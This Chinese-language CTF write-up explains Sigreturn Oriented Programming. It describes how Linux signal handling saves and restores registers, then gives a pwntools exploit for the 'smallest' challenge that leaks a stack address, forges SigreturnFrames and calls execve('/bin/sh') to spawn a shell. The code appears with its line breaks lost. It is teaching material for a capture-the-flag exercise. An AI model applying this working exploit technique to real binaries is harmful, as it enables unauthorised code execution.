title: SROP
date: 2018-02-21 19:58:12 categories: 栈溢出 tags: - CTF - PWN - 栈溢出SROP全称为 Sigreturn Oriented Programming ,表明利用sigreturn这个函数实现ROP的技术。
参考资料
Signal机制
首先,当由中断或异常产生时,会发出一个信号,然后会送给相关进程,此时系统切换到内核模式。
内核会执行do_signal()函数,最终会调用setup_frame()函数来设置用户栈。 (在栈中保存了进入内核前所有寄存器的信息,还会push一个 signal function 的返回地址——sigruturn()的地址)当这些准备工作完成后,就开始执行由用户指定的signal function了。
(调用的函数)当执行完后,因为返回地址被设置为sigreturn()系统调用的地址了,所以此时系统又会陷入内核执行sigreturn()系统调用。
(恢复保存的寄存器的信息)
利用思路
由于程序中并没有sigreturn调用,所以我们得自己构造,正好这里有read函数调用,所以我们可以通过read函数读取的字节数来设置rax的值。
重要思路如下
通过控制read读取的字符数来设置RAX寄存器的值,从而执行sigreturn
通过syscall执行execve(“/bin/sh”,0,0)来获取shell。示例
这里以360春秋杯中的smallest-pwn为例
#coding=utf8from pwn import *from LibcSearcher import *small = ELF('./smallest')# if args['REMOTE']:# sh = remote('127.0.0.1', 7777)# else:sh = process('./smallest')context.arch = 'amd64'context.log_level = 'debug'syscall_ret = 0x00000000004000BEstart_addr = 0x00000000004000B0## set start addr three timespayload = p64(start_addr) * 3# gdb.attach(sh)sh.send(payload)## modify the return addr to start_addr+3## so that skip the xor rax,rax; then the rax=1## get stack addr# gdb.attach(sh)sh.send('\xb3')stack_addr = u64(sh.recv()[8:16])print "stack_addr = " + hex(stack_addr)log.success('leak stack addr :' + hex(stack_addr))## make the rsp point to stack_addr## the frame is read(0,stack_addr,0x400)sigframe = SigreturnFrame()sigframe.rax = constants.SYS_readprint "constants.SYS_read = " + hex(sigframe.rax)sigframe.rdi = 0sigframe.rsi = stack_addrsigframe.rdx = 0x400sigframe.rsp = stack_addrsigframe.rip = syscall_retpayload = p64(start_addr) + 'a' * 8 + str(sigframe)# gdb.attach(sh)sh.send(payload)## set rax=15 and call sigreturnsigreturn = p64(syscall_ret) + 'A' * 7 # 覆盖上面的 'a'*8# gdb.attach(sh)sh.send(sigreturn)## call execv("/bin/sh",0,0)sigframe = SigreturnFrame()sigframe.rax = constants.SYS_execvesigframe.rdi = stack_addr + 0x120 # "/bin/sh" 's addrsigframe.rsi = 0x0sigframe.rdx = 0x0sigframe.rsp = stack_addrsigframe.rip = syscall_retframe_payload = p64(start_addr) + 'b' * 8 + str(sigframe)print len(frame_payload)payload = frame_payload + (0x120 - len(frame_payload)) * '\x00' + '/bin/sh\x00'# gdb.attach(sh)sh.send(payload)# gdb.attach(sh)sh.send(sigreturn)sh.interactive()